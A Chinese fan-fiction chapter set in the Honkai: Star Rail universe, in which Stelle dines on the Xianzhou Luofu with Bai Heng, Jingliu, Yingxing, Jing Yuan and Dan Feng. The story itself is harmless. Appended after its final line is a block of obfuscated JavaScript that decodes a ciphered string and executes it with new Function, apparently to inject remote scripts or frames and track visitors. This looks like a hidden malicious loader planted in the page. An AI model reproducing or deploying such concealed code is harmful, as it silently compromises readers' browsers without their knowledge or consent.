星做了一个梦,梦里,一条碧青色的巨龙端坐于星窝。
它的龙角晶莹剔透,它的鳞片闪闪发光,它的啸声激昂而婉转,它的眼角一抹猩红,它看向自己的眼神孤高而冷傲。
湛然若神,美得不可方物。
星站在一片空旷的平台之上,看着群星静谧无声,深邃悠远,而巨龙吞吐之间,仿若星河流转,山海皆平。
那一刻,她觉得自己仿佛看到了月亮,但这“月亮”又似乎缺了些什么。
......是什么呢?
后来,她就醒了。
.
窗外的月光忽明忽暗,星也不知道自己是怎么睡着的,睡了多久,不过目前来看,应该也不久。
这个梦,早些时候她在列车上就做过一遍,如今也不知为何,居然这里又重温了一遍。
她坐在客栈里的木质桌椅旁,打开手机,看了眼上面的信用点余额。
至少有一个好消息,即便穿回了几百年前,这货币也是通用的,她暂时不缺钱,也住得起客栈。
而后,她看见了久违的“黑塔10086”,也不知道黑塔在知道自己任务没做完,就凭空消失之后会是什么反应......
不知道为什么,她突然想起了那位意外联系上的第一个“实验对象”,虽然动机不怎么纯,但从结果来看,星觉得和他的聊天过程,还算是比较愉快的。
以至于失去联系之后,星还觉得略微有些遗憾。
虽然大部分聊天过程都有如沉沙消散,再难积聚,但这一次,她不知怎么得就回忆起来了一些东西,那些黑白的字句在脑海中愈发清晰。
违规昵称1234:我今天,梦到了一只龙。
丹枫:......?
违规昵称1234:我在仙舟古籍中见过有关持明龙尊的记载,我在想,我心目中的龙,若是我有幸可以得见,应该也是如这般在高天之上......
丹枫:不,持明一开始是生活在水里的。
违规昵称1234:啊这......
丹枫:......你很喜欢持明龙尊吗?
违规昵称1234:喜欢,我还挺很喜欢话本子里他飞来飞去,翻云覆雨的样子呢。
星记得在这之后,他还有一句回应。
他回了什么来着,自己竟然一点也想不起来了。
星思绪纷乱地看上空荡荡的桌子,上边还放着一本跟过来的《霸道龙尊爱上我》,它静静地躺在桌上,不会发光也不能使人天生神力,似乎就是一本普普通通的书。
愣神之际,她突然发现手机上多出来一条弹窗,稀了奇了,这里还会有人找她?
是白珩发来的。
“白珩。”星轻轻将她的名字念出了声,至少在看到这个名字之后,心中的顾虑便少了很多。
在这之前,星并不认识她,但总觉得自己在哪里听过她的名字,是在哪来着?
白珩:想不想来吃夜宵?我请客!
白珩:我知道长乐天有一家特别好吃的店!
星:你怎么会有我的联系方式?
白珩:你在地衡司填记档表的时候,我都看见啦!
.
星不禁回想起白天她在地衡司门口等候自己的场景。
这位狐人少女非常热情,或者说热情得有一些过分了。
星自认为自己已经算是挺社交恐怖分子的一个人了,而对付一个社交恐怖分子最好的方法,就是来一个比她更恐怖的。
她带着自己从星槎海到长乐天,从金人巷到流云渡,吃喝玩乐一个不落,不仅要去太卜司学着卜者夜观天象,看看最新发明,还去了工造司偷看胳膊粗壮胸肌发达的男人们是怎么造高达的。
顺便讨论一下哪个男人身材更好一点。
逛完罗浮还有些意犹未尽,白珩开着星槎就说要带自己去曜青兜风,来一场说走就走的旅行。
等等等等,这太阳都要落山了,现在启程是不是有些夸张了?
白珩:“我叫白珩,是一位狐人旅行家,无论什么都不会让我停下探索未知的脚步!”
星:“......无名客?”
白珩:“原来你也是无名客!”
她想起来自己在哪里见过的白珩的名字了,是在丹恒收集的一堆废纸里,有过她的记录。
.
而两个无名客兼社交恐怖分子脑电波的碰撞,对于其他人来说也是挺恐怖的。
白珩带着一个疑似行刺龙尊(?)的化外民在罗浮四处奔波的事情,短短一个下午,就传遍了罗浮的大街小巷,他们一个紫毛一个灰毛,所到之处风卷残云。
大家都觉得一个白珩已经够能折腾了,如今又来一个,都得小心谨慎,切勿主动招惹。
总之,白珩仿佛是对自己一见如故,打破了同性相斥的基本原则,狠狠地互相吸引了。
对于这么一位热情的友人,星不禁对自己一开始的忽悠有些愧疚,毕竟她确实没有在丹鼎司看病的小狗。
“对不起,我骗了你。”此话一出口,颇有一种哄骗无知少女的感觉,但星的感情又真挚饱满:“我其实是不小心......”
“你的意思是,你不小心从天上掉了下来,不小心把龙尊府邸的天花板砸了个洞,不小心掉进了丹枫的怀里,又不小心惹毛了一堆龙尊近侍逼得他们对你穷追不舍?”
星知道自己穿越这件事情是比较玄乎且离谱的,但真听到这么些事从别人口中连起来还重复一遍,还是不免涌起一阵微妙的尴尬。
虽然但是,你把话说完了我说什么呢!
但白珩似乎不这么觉得:“这也太......酷了吧!”
星:“......?”
白珩紧紧握住星的手,在这一刻眼里涌起了光,仿佛看到了自己失散星海多年的异父异母的亲姐妹:“你可是我见过的第一个,对丹枫做了这样那样的事后,还能完好无损走出来的人!”
“......”
.
秉持着免费的夜宵不吃白不吃的原则,星接受了白珩的邀请。
就是这夜宵......是单请我一个人的,还是大家都有的?
白珩说要让她见见自己在罗浮,哦不,应该说得更大胆一些,是她生命中最重要的朋友......们!
就是你的这些朋友,我怎么看着好生面熟呢?
“这个是镜流,她可是罗浮剑首,不仅长得好看,还很能打,号称是云骑军不败盛名的缔造者,曾一剑斩杀过大鸟海兽父狼丰饶孽物.......”
听着白珩报菜名,星看向她冷若冰霜的脸,如今倒还有几分柔和,总之她不带眼罩的样子确实更好看一点。
“这个是应星!他可是全工造司最引以为傲的天才,短短几十年的时间就让那些眼睛长在头顶上的长生种黯然失色叹息不已,还是我们的御用匠人,我们的兵器都是出自他之手!”
星看向他,突然身躯一震,差点脱口而出一句二舅。
他看着和那些工造司的大块头很不一样,虽然身材仍很饱满,但不显壮实,兼具着匠人的力量感和一些文人的风骨,甚至一头白发还精致地盘了起来。
就是这头发......是先天生的呢还是后天白的?
“这个是景元,你们已经见过了!”
景元:“这就没了吗?为什么我没有前置隆重介绍?”
白珩:“咳,你印像分已经扣没了,没人会在乎一个第一次见面就把她叫去地衡司喝茶的人。”
景元:“......”
应星好笑地看了景元一眼,觉得他确实没啥好介绍的,甚至还想调侃一句他是在云骑军里拿着镜流的鸡毛当令箭。
景元回了他一个不满的眼神,觉得纯纯是小看了他。
他不能明白应星把生命献给铁炉的意义,只能表示尊重祝福,就像应星永远也不会明白一颗云骑界正在冉冉升起的新星。
不过关于这一点,星站景元,她愿意给这个组合为数不多的正常人一点关怀,毕竟他以后可能会摇身一变,变成大家都高攀不起的模样。
“这个是......丹枫!”白珩走过丹枫身边,突然拖长了调子,一副意味深长的模样。
星:“......”
.
但即便是关系再好的五个人,在突然插进来一个人还被强行组局的时候,也难免会陷入一些不必要的僵局。
应星:“昨天不是刚聚过,怎么今天又来?”
镜流:“昨天不是刚吃过这家,怎么今天又来?”
景元:“昨天......算了我还是不说话了。”
丹枫:你看我像是想说话的样子吗.jpg
而面对四个熟悉的陌生人,作为宇宙著名社交恐怖分子,星也有自己融入集体(没话找话)的本事。
“我叫星,诞生于一座宏伟华丽结构严密的空间站,从出生起便是一位无名客。”
事实上,就算星自己想做一个单纯来蹭饭的无名小卒,白珩也不同意,她一直缠着星给他们讲讲她游历星海的故事。
她很好奇,所以剩下的四个人不管愿不愿意,也得和她一起好奇。
恰好星又是最不缺小故事的人了,她短暂的人生已是跌宕起伏,奇异非常,已经到了别人可以为她写传记的地步。
“我跟随星穹列车,降落在了一片苍茫的雪原之上,这里分上下两个城区,我和我的伙伴和他们的统治者相谈甚欢。”
丹枫自饭局开始便是一副淡漠疏离事不关己的态度,但此刻,在听到星穹列车四个字的时候,他恍然间抬起了头。
他看见了少女翩然的姿态,那些绮丽的冒险仿佛给她的身形增添了几分色彩,如同一颗闪闪发光的星星。
“但第二天,统治者却仿佛换了一副皮囊,给我们下了通缉令,我们被迫转移到了下城区,无奈之下,我们决定寻求组织地火的帮助。”
不知为什么,丹枫看着她娓娓诉说自己经历的模样,总有一种熟悉的感觉,似乎何时何日,也有一个人,用这样的口吻说一些事。
而后,这形象慢慢地和心里的某个身影重叠。
“恰逢矿区遭遇麻烦,而机械部落的人向来和地火不对付,于是......”星说到这里,忽然对上了一双碧色的眼眸。
在无人在意的角落,一向不怎么搭理人的丹枫居然在此刻望向自己。
星愣了一下,有些诧异也有些迷茫,语气渐渐弱了下来。
“丹枫,丹枫!你在看什么呢?”白珩一副看热闹不嫌事大甚至想直呼好嗑的样子。
但应星似乎单纯地就是在听故事,也没觉得哪里不对劲了,他冷不丁插嘴:“后面呢?”
“哦,后面......”星很快接上了自己未尽的话。
而后,丹枫避开了视线。
.
饭局总有散场的时候,就像一切为人搭建好的舞台,就算一出好戏再怎么吸人眼球,也终有落幕的一刻。
直到这一刻,星站在稀稀落落的大街上,才有了一点似乎是属于这里的实感,但这种感觉很快就消失了。
即便那故事再曲折动听,也早已过去,而自己如今的未来,仍是触不可及的一片漆黑,她总觉得茫然。
这时,一道阴影打了下来,遮住了她眼前的光。
星抬头,看见了一张熟悉的脸。
“丹......枫?”
他站在那里,积石如玉,列松如翠,清冷得好像和月光融为一色,又像是自己触不可及的未来。
此刻,他的眼神如一滩深水,看不出什么情绪。
而后,他轻轻开口:“白珩叫我过来,说有东西忘你这了,我帮她取。”
“......?”
星一头雾水。
东西?什么东西?
疑惑之际,星突然收到了白珩的消息,瞬间了然。
白珩:姐妹!我就帮你们到这了!
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();